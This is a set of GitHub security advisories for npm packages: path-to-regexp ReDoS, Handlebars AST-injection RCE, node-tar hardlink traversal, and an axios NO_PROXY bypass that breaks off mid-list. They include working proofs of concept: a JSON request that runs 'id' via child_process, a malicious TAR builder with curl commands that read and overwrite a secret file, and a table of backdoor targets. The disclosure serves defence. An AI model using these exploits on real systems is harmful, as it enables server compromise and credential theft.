If developers are using multiple wildcard parameters, they can check the regex output with a tool such as https://makenowjust-labs.github.io/recheck/playground/ to confirm whether a path is vulnerable.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "path-to-regexp"
},
"ranges": [
{
"events": [
{
"introduced": "8.0.0"
},
{
"fixed": "8.4.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-4923"
],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-27T22:23:52Z",
"nvd_published_at": "2026-03-26T19:17:08Z",
"severity": "MODERATE"
},
"details": "### Impact\n\nWhen using multiple wildcards, combined with at least one parameter, a regular expression can be generated that is vulnerable to ReDoS. This backtracking vulnerability requires the second wildcard to be somewhere other than the end of the path.\n\n**Unsafe examples:**\n\n```\n/*foo-*bar-:baz\n/*a-:b-*c-:d\n/x/*a-:b/*c/y\n```\n\n**Safe examples:**\n\n```\n/*foo-:bar\n/*foo-:bar-*baz\n```\n\n### Patches\n\nUpgrade to version `8.4.0`.\n\n### Workarounds\n\nIf developers are using multiple wildcard parameters, they can check the regex output with a tool such as https://makenowjust-labs.github.io/recheck/playground/ to confirm whether a path is vulnerable.",
"id": "GHSA-27v5-c462-wpq7",
"modified": "2026-03-27T22:23:52Z",
"published": "2026-03-27T22:23:52Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pillarjs/path-to-regexp/security/advisories/GHSA-27v5-c462-wpq7"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-4923"
},
{
"type": "WEB",
"url": "https://cna.openjsf.org/security-advisories.html"
},
{
"type": "PACKAGE",
"url": "https://github.com/pillarjs/path-to-regexp"
},
{
"type": "WEB",
"url": "https://makenowjust-labs.github.io/recheck/playground"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "path-to-regexp vulnerable to Regular Expression Denial of Service via multiple wildcards"
}
GHSA-2W6W-674Q-4C4Q
Vulnerability from github – Published: 2026-03-27 18:19 – Updated: 2026-03-27 21:52Summary
Handlebars.compile() accepts a pre-parsed AST object in addition to a template string. The value field of a NumberLiteral AST node is emitted directly into the generated JavaScript without quoting or sanitization. An attacker who can supply a crafted AST to compile() can therefore inject and execute arbitrary JavaScript, leading to Remote Code Execution on the server.
Description
Handlebars.compile() accepts either a template string or a pre-parsed AST. When an AST is supplied, the JavaScript code generator in lib/handlebars/compiler/javascript-compiler.js emits NumberLiteral values verbatim:
// Simplified representation of the vulnerable code path:
// NumberLiteral.value is appended to the generated code without escaping
compiledCode += numberLiteralNode.value;
Because the value is not wrapped in quotes or otherwise sanitized, passing a string such as {},{})) + process.getBuiltinModule('child_process').execFileSync('id').toString() // as the value of a NumberLiteral causes the generated eval-ed code to break out of its intended context and execute arbitrary commands.
Any endpoint that deserializes user-controlled JSON and passes the result directly to Handlebars.compile() is exploitable.
Proof of Concept
Server-side Express application that passes req.body.text to Handlebars.compile():
import express from "express";
import Handlebars from "handlebars";
const app = express();
app.use(express.json());
app.post("/api/render", (req, res) => {
let text = req.body.text;
let template = Handlebars.compile(text);
let result = template();
res.send(result);
});
app.listen(2123);
POST /api/render HTTP/1.1
Content-Type: application/json
Host: 127.0.0.1:2123
{
"text": {
"type": "Program",
"body": [
{
"type": "MustacheStatement",
"path": {
"type": "PathExpression",
"data": false,
"depth": 0,
"parts": ["lookup"],
"original": "lookup",
"loc": null
},
"params": [
{
"type": "PathExpression",
"data": false,
"depth": 0,
"parts": [],
"original": "this",
"loc": null
},
{
"type": "NumberLiteral",
"value": "{},{})) + process.getBuiltinModule('child_process').execFileSync('id').toString() //",
"original": 1,
"loc": null
}
],
"escaped": true,
"strip": { "open": false, "close": false },
"loc": null
}
]
}
}
The response body will contain the output of the id command executed on the server.
Workarounds
- Validate input type before calling
Handlebars.compile(): ensure the argument is always astring, never a plain object or JSON-deserialized value.javascript if (typeof templateInput !== 'string') { throw new TypeError('Template must be a string'); } - Use the Handlebars runtime-only build (
handlebars/runtime) on the server if templates are pre-compiled at build time;compile()will be unavailable.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.7.8"
},
"package": {
"ecosystem": "npm",
"name": "handlebars"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.7.9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33937"
],
"database_specific": {
"cwe_ids": [
"CWE-843",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-27T18:19:58Z",
"nvd_published_at": "2026-03-27T21:17:27Z",
"severity": "CRITICAL"
},
"details": "## Summary\n\n`Handlebars.compile()` accepts a pre-parsed AST object in addition to a template string. The `value` field of a `NumberLiteral` AST node is emitted directly into the generated JavaScript without quoting or sanitization. An attacker who can supply a crafted AST to `compile()` can therefore inject and execute arbitrary JavaScript, leading to Remote Code Execution on the server.\n\n## Description\n\n`Handlebars.compile()` accepts either a template string or a pre-parsed AST. When an AST is supplied, the JavaScript code generator in `lib/handlebars/compiler/javascript-compiler.js` emits `NumberLiteral` values verbatim:\n\n```javascript\n// Simplified representation of the vulnerable code path:\n// NumberLiteral.value is appended to the generated code without escaping\ncompiledCode += numberLiteralNode.value;\n```\n\nBecause the value is not wrapped in quotes or otherwise sanitized, passing a string such as `{},{})) + process.getBuiltinModule(\u0027child_process\u0027).execFileSync(\u0027id\u0027).toString() //` as the `value` of a `NumberLiteral` causes the generated `eval`-ed code to break out of its intended context and execute arbitrary commands.\n\nAny endpoint that deserializes user-controlled JSON and passes the result directly to `Handlebars.compile()` is exploitable.\n\n## Proof of Concept\n\nServer-side Express application that passes `req.body.text` to `Handlebars.compile()`:\n\n\n```Javascript\nimport express from \"express\";\nimport Handlebars from \"handlebars\";\n\nconst app = express();\napp.use(express.json());\n\napp.post(\"/api/render\", (req, res) =\u003e {\n let text = req.body.text;\n let template = Handlebars.compile(text);\n let result = template();\n res.send(result);\n});\n\napp.listen(2123);\n```\n\n```\nPOST /api/render HTTP/1.1\nContent-Type: application/json\nHost: 127.0.0.1:2123\n\n{\n \"text\": {\n \"type\": \"Program\",\n \"body\": [\n {\n \"type\": \"MustacheStatement\",\n \"path\": {\n \"type\": \"PathExpression\",\n \"data\": false,\n \"depth\": 0,\n \"parts\": [\"lookup\"],\n \"original\": \"lookup\",\n \"loc\": null\n },\n \"params\": [\n {\n \"type\": \"PathExpression\",\n \"data\": false,\n \"depth\": 0,\n \"parts\": [],\n \"original\": \"this\",\n \"loc\": null\n },\n {\n \"type\": \"NumberLiteral\",\n \"value\": \"{},{})) + process.getBuiltinModule(\u0027child_process\u0027).execFileSync(\u0027id\u0027).toString() //\",\n \"original\": 1,\n \"loc\": null\n }\n ],\n \"escaped\": true,\n \"strip\": { \"open\": false, \"close\": false },\n \"loc\": null\n }\n ]\n }\n}\n```\n\nThe response body will contain the output of the `id` command executed on the server.\n\n## Workarounds\n\n- **Validate input type** before calling `Handlebars.compile()`: ensure the argument is always a `string`, never a plain object or JSON-deserialized value.\n ```javascript\n if (typeof templateInput !== \u0027string\u0027) {\n throw new TypeError(\u0027Template must be a string\u0027);\n }\n ```\n- Use the Handlebars **runtime-only** build (`handlebars/runtime`) on the server if templates are pre-compiled at build time; `compile()` will be unavailable.",
"id": "GHSA-2w6w-674q-4c4q",
"modified": "2026-03-27T21:52:17Z",
"published": "2026-03-27T18:19:58Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-2w6w-674q-4c4q"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33937"
},
{
"type": "WEB",
"url": "https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2"
},
{
"type": "PACKAGE",
"url": "https://github.com/handlebars-lang/handlebars.js"
},
{
"type": "WEB",
"url": "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Handlebars.js has JavaScript Injection via AST Type Confusion"
}
GHSA-34X7-HFP2-RC4V
Vulnerability from github – Published: 2026-01-28 16:35 – Updated: 2026-01-28 16:35Summary
node-tar contains a vulnerability where the security check for hardlink entries uses different path resolution semantics than the actual hardlink creation logic. This mismatch allows an attacker to craft a malicious TAR archive that bypasses path traversal protections and creates hardlinks to arbitrary files outside the extraction directory.
Details
The vulnerability exists in lib/unpack.js. When extracting a hardlink, two functions handle the linkpath differently:
Security check in [STRIPABSOLUTEPATH]:
const entryDir = path.posix.dirname(entry.path);
const resolved = path.posix.normalize(path.posix.join(entryDir, linkpath));
if (resolved.startsWith('../')) { /* block */ }
Hardlink creation in [HARDLINK]:
const linkpath = path.resolve(this.cwd, entry.linkpath);
fs.linkSync(linkpath, dest);
Example: An application extracts a TAR using tar.extract({ cwd: '/var/app/uploads/' }). The TAR contains entry a/b/c/d/x as a hardlink to ../../../../etc/passwd.
-
Security check resolves the linkpath relative to the entry's parent directory:
a/b/c/d/ + ../../../../etc/passwd=etc/passwd. No../prefix, so it passes. -
Hardlink creation resolves the linkpath relative to the extraction directory (
this.cwd):/var/app/uploads/ + ../../../../etc/passwd=/etc/passwd. This escapes to the system's/etc/passwd.
The security check and hardlink creation use different starting points (entry directory a/b/c/d/ vs extraction directory /var/app/uploads/), so the same linkpath can pass validation but still escape. The deeper the entry path, the more levels an attacker can escape.
PoC
Setup
Create a new directory with these files:
poc/
├── package.json
├── secret.txt ← sensitive file (target)
├── server.js ← vulnerable server
├── create-malicious-tar.js
├── verify.js
└── uploads/ ← created automatically by server.js
└── (extracted files go here)
package.json
{ "dependencies": { "tar": "^7.5.0" } }
secret.txt (sensitive file outside uploads/)
DATABASE_PASSWORD=supersecret123
server.js (vulnerable file upload server)
const http = require('http');
const fs = require('fs');
const path = require('path');
const tar = require('tar');
const PORT = 3000;
const UPLOAD_DIR = path.join(__dirname, 'uploads');
fs.mkdirSync(UPLOAD_DIR, { recursive: true });
http.createServer((req, res) => {
if (req.method === 'POST' && req.url === '/upload') {
const chunks = [];
req.on('data', c => chunks.push(c));
req.on('end', async () => {
fs.writeFileSync(path.join(UPLOAD_DIR, 'upload.tar'), Buffer.concat(chunks));
await tar.extract({ file: path.join(UPLOAD_DIR, 'upload.tar'), cwd: UPLOAD_DIR });
res.end('Extracted\n');
});
} else if (req.method === 'GET' && req.url === '/read') {
// Simulates app serving extracted files (e.g., file download, static assets)
const targetPath = path.join(UPLOAD_DIR, 'd', 'x');
if (fs.existsSync(targetPath)) {
res.end(fs.readFileSync(targetPath));
} else {
res.end('File not found\n');
}
} else if (req.method === 'POST' && req.url === '/write') {
// Simulates app writing to extracted file (e.g., config update, log append)
const chunks = [];
req.on('data', c => chunks.push(c));
req.on('end', () => {
const targetPath = path.join(UPLOAD_DIR, 'd', 'x');
if (fs.existsSync(targetPath)) {
fs.writeFileSync(targetPath, Buffer.concat(chunks));
res.end('Written\n');
} else {
res.end('File not found\n');
}
});
} else {
res.end('POST /upload, GET /read, or POST /write\n');
}
}).listen(PORT, () => console.log(`http://localhost:${PORT}`));
create-malicious-tar.js (attacker creates exploit TAR)
const fs = require('fs');
function tarHeader(name, type, linkpath = '', size = 0) {
const b = Buffer.alloc(512, 0);
b.write(name, 0); b.write('0000644', 100); b.write('0000000', 108);
b.write('0000000', 116); b.write(size.toString(8).padStart(11, '0'), 124);
b.write(Math.floor(Date.now()/1000).toString(8).padStart(11, '0'), 136);
b.write(' ', 148);
b[156] = type === 'dir' ? 53 : type === 'link' ? 49 : 48;
if (linkpath) b.write(linkpath, 157);
b.write('ustar\x00', 257); b.write('00', 263);
let sum = 0; for (let i = 0; i < 512; i++) sum += b[i];
b.write(sum.toString(8).padStart(6, '0') + '\x00 ', 148);
return b;
}
// Hardlink escapes to parent directory's secret.txt
fs.writeFileSync('malicious.tar', Buffer.concat([
tarHeader('d/', 'dir'),
tarHeader('d/x', 'link', '../secret.txt'),
Buffer.alloc(1024)
]));
console.log('Created malicious.tar');
Run
# Setup
npm install
echo "DATABASE_PASSWORD=supersecret123" > secret.txt
# Terminal 1: Start server
node server.js
# Terminal 2: Execute attack
node create-malicious-tar.js
curl -X POST --data-binary @malicious.tar http://localhost:3000/upload
# READ ATTACK: Steal secret.txt content via the hardlink
curl http://localhost:3000/read
# Returns: DATABASE_PASSWORD=supersecret123
# WRITE ATTACK: Overwrite secret.txt through the hardlink
curl -X POST -d "PWNED" http://localhost:3000/write
# Confirm secret.txt was modified
cat secret.txt
Impact
An attacker can craft a malicious TAR archive that, when extracted by an application using node-tar, creates hardlinks that escape the extraction directory. This enables:
Immediate (Read Attack): If the application serves extracted files, attacker can read any file readable by the process.
Conditional (Write Attack): If the application later writes to the hardlink path, it modifies the target file outside the extraction directory.
Remote Code Execution / Server Takeover
| Attack Vector | Target File | Result |
|---|---|---|
| SSH Access | ~/.ssh/authorized_keys |
Direct shell access to server |
| Cron Backdoor | /etc/cron.d/*, ~/.crontab |
Persistent code execution |
| Shell RC Files | ~/.bashrc, ~/.profile |
Code execution on user login |
| Web App Backdoor | Application .js, .php, .py files |
Immediate RCE via web requests |
| Systemd Services | /etc/systemd/system/*.service |
Code execution on service restart |
| User Creation | /etc/passwd (if running as root) |
Add new privileged user |
Data Exfiltration & Corruption
- Overwrite arbitrary files via hardlink escape + subsequent write operations
- Read sensitive files by creating hardlinks that point outside extraction directory
- Corrupt databases and application state
- Steal credentials from config files,
.env, secrets
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "tar"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "7.5.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-24842"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-59"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-28T16:35:31Z",
"nvd_published_at": "2026-01-28T01:16:14Z",
"severity": "HIGH"
},
"details": "### Summary\nnode-tar contains a vulnerability where the security check for hardlink entries uses different path resolution semantics than the actual hardlink creation logic. This mismatch allows an attacker to craft a malicious TAR archive that bypasses path traversal protections and creates hardlinks to arbitrary files outside the extraction directory.\n\n### Details\nThe vulnerability exists in `lib/unpack.js`. When extracting a hardlink, two functions handle the linkpath differently:\n\n**Security check in `[STRIPABSOLUTEPATH]`:**\n```javascript\nconst entryDir = path.posix.dirname(entry.path);\nconst resolved = path.posix.normalize(path.posix.join(entryDir, linkpath));\nif (resolved.startsWith(\u0027../\u0027)) { /* block */ }\n```\n\n**Hardlink creation in `[HARDLINK]`:**\n```javascript\nconst linkpath = path.resolve(this.cwd, entry.linkpath);\nfs.linkSync(linkpath, dest);\n```\n\n**Example:** An application extracts a TAR using `tar.extract({ cwd: \u0027/var/app/uploads/\u0027 })`. The TAR contains entry `a/b/c/d/x` as a hardlink to `../../../../etc/passwd`.\n\n- **Security check** resolves the linkpath relative to the entry\u0027s parent directory: `a/b/c/d/ + ../../../../etc/passwd` = `etc/passwd`. No `../` prefix, so it **passes**.\n\n- **Hardlink creation** resolves the linkpath relative to the extraction directory (`this.cwd`): `/var/app/uploads/ + ../../../../etc/passwd` = `/etc/passwd`. This **escapes** to the system\u0027s `/etc/passwd`.\n\nThe security check and hardlink creation use different starting points (entry directory `a/b/c/d/` vs extraction directory `/var/app/uploads/`), so the same linkpath can pass validation but still escape. The deeper the entry path, the more levels an attacker can escape.\n\n### PoC\n#### Setup\n\nCreate a new directory with these files:\n\n```\npoc/\n\u251c\u2500\u2500 package.json\n\u251c\u2500\u2500 secret.txt \u2190 sensitive file (target)\n\u251c\u2500\u2500 server.js \u2190 vulnerable server\n\u251c\u2500\u2500 create-malicious-tar.js\n\u251c\u2500\u2500 verify.js\n\u2514\u2500\u2500 uploads/ \u2190 created automatically by server.js\n \u2514\u2500\u2500 (extracted files go here)\n```\n\n**package.json**\n```json\n{ \"dependencies\": { \"tar\": \"^7.5.0\" } }\n```\n\n**secret.txt** (sensitive file outside uploads/)\n```\nDATABASE_PASSWORD=supersecret123\n```\n\n**server.js** (vulnerable file upload server)\n```javascript\nconst http = require(\u0027http\u0027);\nconst fs = require(\u0027fs\u0027);\nconst path = require(\u0027path\u0027);\nconst tar = require(\u0027tar\u0027);\n\nconst PORT = 3000;\nconst UPLOAD_DIR = path.join(__dirname, \u0027uploads\u0027);\nfs.mkdirSync(UPLOAD_DIR, { recursive: true });\n\nhttp.createServer((req, res) =\u003e {\n if (req.method === \u0027POST\u0027 \u0026\u0026 req.url === \u0027/upload\u0027) {\n const chunks = [];\n req.on(\u0027data\u0027, c =\u003e chunks.push(c));\n req.on(\u0027end\u0027, async () =\u003e {\n fs.writeFileSync(path.join(UPLOAD_DIR, \u0027upload.tar\u0027), Buffer.concat(chunks));\n await tar.extract({ file: path.join(UPLOAD_DIR, \u0027upload.tar\u0027), cwd: UPLOAD_DIR });\n res.end(\u0027Extracted\\n\u0027);\n });\n } else if (req.method === \u0027GET\u0027 \u0026\u0026 req.url === \u0027/read\u0027) {\n // Simulates app serving extracted files (e.g., file download, static assets)\n const targetPath = path.join(UPLOAD_DIR, \u0027d\u0027, \u0027x\u0027);\n if (fs.existsSync(targetPath)) {\n res.end(fs.readFileSync(targetPath));\n } else {\n res.end(\u0027File not found\\n\u0027);\n }\n } else if (req.method === \u0027POST\u0027 \u0026\u0026 req.url === \u0027/write\u0027) {\n // Simulates app writing to extracted file (e.g., config update, log append)\n const chunks = [];\n req.on(\u0027data\u0027, c =\u003e chunks.push(c));\n req.on(\u0027end\u0027, () =\u003e {\n const targetPath = path.join(UPLOAD_DIR, \u0027d\u0027, \u0027x\u0027);\n if (fs.existsSync(targetPath)) {\n fs.writeFileSync(targetPath, Buffer.concat(chunks));\n res.end(\u0027Written\\n\u0027);\n } else {\n res.end(\u0027File not found\\n\u0027);\n }\n });\n } else {\n res.end(\u0027POST /upload, GET /read, or POST /write\\n\u0027);\n }\n}).listen(PORT, () =\u003e console.log(`http://localhost:${PORT}`));\n```\n\n**create-malicious-tar.js** (attacker creates exploit TAR)\n```javascript\nconst fs = require(\u0027fs\u0027);\n\nfunction tarHeader(name, type, linkpath = \u0027\u0027, size = 0) {\n const b = Buffer.alloc(512, 0);\n b.write(name, 0); b.write(\u00270000644\u0027, 100); b.write(\u00270000000\u0027, 108);\n b.write(\u00270000000\u0027, 116); b.write(size.toString(8).padStart(11, \u00270\u0027), 124);\n b.write(Math.floor(Date.now()/1000).toString(8).padStart(11, \u00270\u0027), 136);\n b.write(\u0027 \u0027, 148);\n b[156] = type === \u0027dir\u0027 ? 53 : type === \u0027link\u0027 ? 49 : 48;\n if (linkpath) b.write(linkpath, 157);\n b.write(\u0027ustar\\x00\u0027, 257); b.write(\u002700\u0027, 263);\n let sum = 0; for (let i = 0; i \u003c 512; i++) sum += b[i];\n b.write(sum.toString(8).padStart(6, \u00270\u0027) + \u0027\\x00 \u0027, 148);\n return b;\n}\n\n// Hardlink escapes to parent directory\u0027s secret.txt\nfs.writeFileSync(\u0027malicious.tar\u0027, Buffer.concat([\n tarHeader(\u0027d/\u0027, \u0027dir\u0027),\n tarHeader(\u0027d/x\u0027, \u0027link\u0027, \u0027../secret.txt\u0027),\n Buffer.alloc(1024)\n]));\nconsole.log(\u0027Created malicious.tar\u0027);\n```\n\n#### Run\n\n```bash\n# Setup\nnpm install\necho \"DATABASE_PASSWORD=supersecret123\" \u003e secret.txt\n\n# Terminal 1: Start server\nnode server.js\n\n# Terminal 2: Execute attack\nnode create-malicious-tar.js\ncurl -X POST --data-binary @malicious.tar http://localhost:3000/upload\n\n# READ ATTACK: Steal secret.txt content via the hardlink\ncurl http://localhost:3000/read\n# Returns: DATABASE_PASSWORD=supersecret123\n\n# WRITE ATTACK: Overwrite secret.txt through the hardlink\ncurl -X POST -d \"PWNED\" http://localhost:3000/write\n\n# Confirm secret.txt was modified\ncat secret.txt\n```\n### Impact\n\nAn attacker can craft a malicious TAR archive that, when extracted by an application using node-tar, creates hardlinks that escape the extraction directory. This enables:\n\n**Immediate (Read Attack):** If the application serves extracted files, attacker can read any file readable by the process.\n\n**Conditional (Write Attack):** If the application later writes to the hardlink path, it modifies the target file outside the extraction directory.\n\n### Remote Code Execution / Server Takeover\n\n| Attack Vector | Target File | Result |\n|--------------|-------------|--------|\n| SSH Access | `~/.ssh/authorized_keys` | Direct shell access to server |\n| Cron Backdoor | `/etc/cron.d/*`, `~/.crontab` | Persistent code execution |\n| Shell RC Files | `~/.bashrc`, `~/.profile` | Code execution on user login |\n| Web App Backdoor | Application `.js`, `.php`, `.py` files | Immediate RCE via web requests |\n| Systemd Services | `/etc/systemd/system/*.service` | Code execution on service restart |\n| User Creation | `/etc/passwd` (if running as root) | Add new privileged user |\n\n## Data Exfiltration \u0026 Corruption\n\n1. **Overwrite arbitrary files** via hardlink escape + subsequent write operations\n2. **Read sensitive files** by creating hardlinks that point outside extraction directory\n3. **Corrupt databases** and application state\n4. **Steal credentials** from config files, `.env`, secrets",
"id": "GHSA-34x7-hfp2-rc4v",
"modified": "2026-01-28T16:35:31Z",
"published": "2026-01-28T16:35:31Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-34x7-hfp2-rc4v"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24842"
},
{
"type": "WEB",
"url": "https://github.com/isaacs/node-tar/commit/f4a7aa9bc3d717c987fdf1480ff7a64e87ffdb46"
},
{
"type": "PACKAGE",
"url": "https://github.com/isaacs/node-tar"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "node-tar Vulnerable to Arbitrary File Creation/Overwrite via Hardlink Path Traversal"
}
GHSA-3MFM-83XF-C92R
Vulnerability from github – Published: 2026-03-27 18:20 – Updated: 2026-03-27 21:52Summary
The @partial-block special variable is stored in the template data context and is reachable and mutable from within a template via helpers that accept arbitrary objects. When a helper overwrites @partial-block with a crafted Handlebars AST, a subsequent invocation of {{> @partial-block}} compiles and executes that AST, enabling arbitrary JavaScript execution on the server.
Description
Handlebars stores @partial-block in the data frame that is accessible to templates. In nested contexts, a parent frame's @partial-block is reachable as @_parent.partial-block. Because the data frame is a mutable object, any registered helper that accepts an object reference and assigns properties to it can overwrite @partial-block with an attacker-controlled value.
When {{> @partial-block}} is subsequently evaluated, invokePartial receives the crafted object. The runtime, finding an object that is not a compiled function, falls back to dynamically compiling the value via env.compile(). If that value is a well-formed Handlebars AST containing injected code, the injected JavaScript runs in the server process.
The handlebars-helpers npm package (commonly used with Handlebars) includes several helpers such as merge that can be used as the mutation primitive.
Proof of Concept
Tested with Handlebars 4.7.8 and handlebars-helpers:
const Handlebars = require('handlebars');
const merge = require('handlebars-helpers').object().merge;
Handlebars.registerHelper('merge', merge);
const vulnerableTemplate = `
{{#*inline "myPartial"}}
{{>@partial-block}}
{{>@partial-block}}
{{/inline}}
{{#>myPartial}}
{{merge @_parent partial-block=1}}
{{merge @_parent partial-block=payload}}
{{/myPartial}}
`;
const maliciousContext = {
payload: {
type: "Program",
body: [
{
type: "MustacheStatement",
depth: 0,
path: {
type: "PathExpression",
parts: ["pop"],
original: "this.pop",
// Code injected via depth field — breaks out of generated function call
depth: "0])),function () {console.error('VULNERABLE: RCE via @partial-block');}()));//",
},
},
],
},
};
Handlebars.compile(vulnerableTemplate)(maliciousContext);
// Prints: VULNERABLE: RCE via @partial-block
Workarounds
- Use the runtime-only build (
require('handlebars/runtime')). Thecompile()method is absent, eliminating the vulnerable fallback path. - Audit registered helpers for any that write arbitrary values to context objects. Helpers should treat context data as read-only.
- Avoid registering helpers from third-party packages (such as
handlebars-helpers) in contexts where templates or context data can be influenced by untrusted input.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.7.8"
},
"package": {
"ecosystem": "npm",
"name": "handlebars"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.7.9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33938"
],
"database_specific": {
"cwe_ids": [
"CWE-843",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-27T18:20:44Z",
"nvd_published_at": "2026-03-27T21:17:27Z",
"severity": "HIGH"
},
"details": "## Summary\n\nThe `@partial-block` special variable is stored in the template data context and is reachable and mutable from within a template via helpers that accept arbitrary objects. When a helper overwrites `@partial-block` with a crafted Handlebars AST, a subsequent invocation of `{{\u003e @partial-block}}` compiles and executes that AST, enabling arbitrary JavaScript execution on the server.\n\n## Description\n\nHandlebars stores `@partial-block` in the `data` frame that is accessible to templates. In nested contexts, a parent frame\u0027s `@partial-block` is reachable as `@_parent.partial-block`. Because the data frame is a mutable object, any registered helper that accepts an object reference and assigns properties to it can overwrite `@partial-block` with an attacker-controlled value.\n\nWhen `{{\u003e @partial-block}}` is subsequently evaluated, `invokePartial` receives the crafted object. The runtime, finding an object that is not a compiled function, falls back to **dynamically compiling** the value via `env.compile()`. If that value is a well-formed Handlebars AST containing injected code, the injected JavaScript runs in the server process.\n\nThe `handlebars-helpers` npm package (commonly used with Handlebars) includes several helpers such as `merge` that can be used as the mutation primitive.\n\n## Proof of Concept\n\nTested with Handlebars 4.7.8 and `handlebars-helpers`:\n\n```javascript\nconst Handlebars = require(\u0027handlebars\u0027);\nconst merge = require(\u0027handlebars-helpers\u0027).object().merge;\nHandlebars.registerHelper(\u0027merge\u0027, merge);\n\nconst vulnerableTemplate = `\n{{#*inline \"myPartial\"}}\n {{\u003e@partial-block}}\n {{\u003e@partial-block}}\n{{/inline}}\n{{#\u003emyPartial}}\n {{merge @_parent partial-block=1}}\n {{merge @_parent partial-block=payload}}\n{{/myPartial}}\n`;\n\nconst maliciousContext = {\n payload: {\n type: \"Program\",\n body: [\n {\n type: \"MustacheStatement\",\n depth: 0,\n path: {\n type: \"PathExpression\",\n parts: [\"pop\"],\n original: \"this.pop\",\n // Code injected via depth field \u2014 breaks out of generated function call\n depth: \"0])),function () {console.error(\u0027VULNERABLE: RCE via @partial-block\u0027);}()));//\",\n },\n },\n ],\n },\n};\n\nHandlebars.compile(vulnerableTemplate)(maliciousContext);\n// Prints: VULNERABLE: RCE via @partial-block\n```\n\n## Workarounds\n\n- **Use the runtime-only build** (`require(\u0027handlebars/runtime\u0027)`). The `compile()` method is absent, eliminating the vulnerable fallback path.\n- **Audit registered helpers** for any that write arbitrary values to context objects. Helpers should treat context data as read-only.\n- **Avoid registering helpers** from third-party packages (such as `handlebars-helpers`) in contexts where templates or context data can be influenced by untrusted input.",
"id": "GHSA-3mfm-83xf-c92r",
"modified": "2026-03-27T21:52:26Z",
"published": "2026-03-27T18:20:44Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-3mfm-83xf-c92r"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33938"
},
{
"type": "WEB",
"url": "https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2"
},
{
"type": "PACKAGE",
"url": "https://github.com/handlebars-lang/handlebars.js"
},
{
"type": "WEB",
"url": "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Handlebars.js has JavaScript Injection via AST Type Confusion by tampering @partial-block"
}
GHSA-3P68-RC4W-QGX5
Vulnerability from github – Published: 2026-04-09 17:32 – Updated: 2026-05-08 13:46Axios does not correctly handle hostname normalization when checking NO_PROXY rules.
Requests to loopback addresses like localhost. (with a trailing dot) or [::1] (IPv6 literal) skip NO_PROXY matching and go through the configured proxy.
This goes against what developers expect and lets attackers force requests through a proxy, even if NO_PROXY is set up to protect loopback or internal services.
According to RFC 1034 §3.1 and RFC 3986 §3.2.2, a hostname can have a trailing dot to show it is a fully qualified domain name (FQDN). At the DNS level, localhost. is the same as localhost.
However, Axios does a literal string comparison instead of normalizing hostnames before checking NO_PROXY. This causes requests like http://localhost.:8080/ and http://[::1]:8080/ to be incorrectly proxied.
This issue leads to the possibility of proxy bypass and SSRF vulnerabilities allowing attackers to reach sensitive loopback or internal services despite the configured protections.
PoC
import http from "http";
import axios from "axios";
const proxyPort = 5300;
http.createServer((req, res) => {
console.log("[PROXY] Got:", req.method, req.url, "Host:", req.headers.host);
res.writeHead(200, { "Content-Type": "text/plain" });
res.end("proxied");
}).listen(proxyPort, () => console.log("Proxy", proxyPort));
process.env.HTTP_PROXY = `http://127.0.0.1:${proxyPort}`;
process.env.NO_PROXY = "localhost,127.0.0.1,::1";
async function test(url) {
try {
await axios.get(url, { timeout: 2000 });
} catch {}
}
setTimeout(async () => {
console.log("\n[*] Testing http://localhost.:8080/");
await test("http://localhost.:8080/"); // goes through proxy
console.log("\n[*] Testing http://[::1]:8080/");
await test("http://[::1]:8080/"); // goes through proxy
}, 500);
Expected: Requests bypass the proxy (direct to loopback).
Actual: Proxy logs requests for localhost. and [::1].
Impact
- Applications that rely on
NO_PROXY=localhost,127.0.0.1,::1for protecting loopback/internal access are vulnerable. -
Attackers controlling request URLs can:
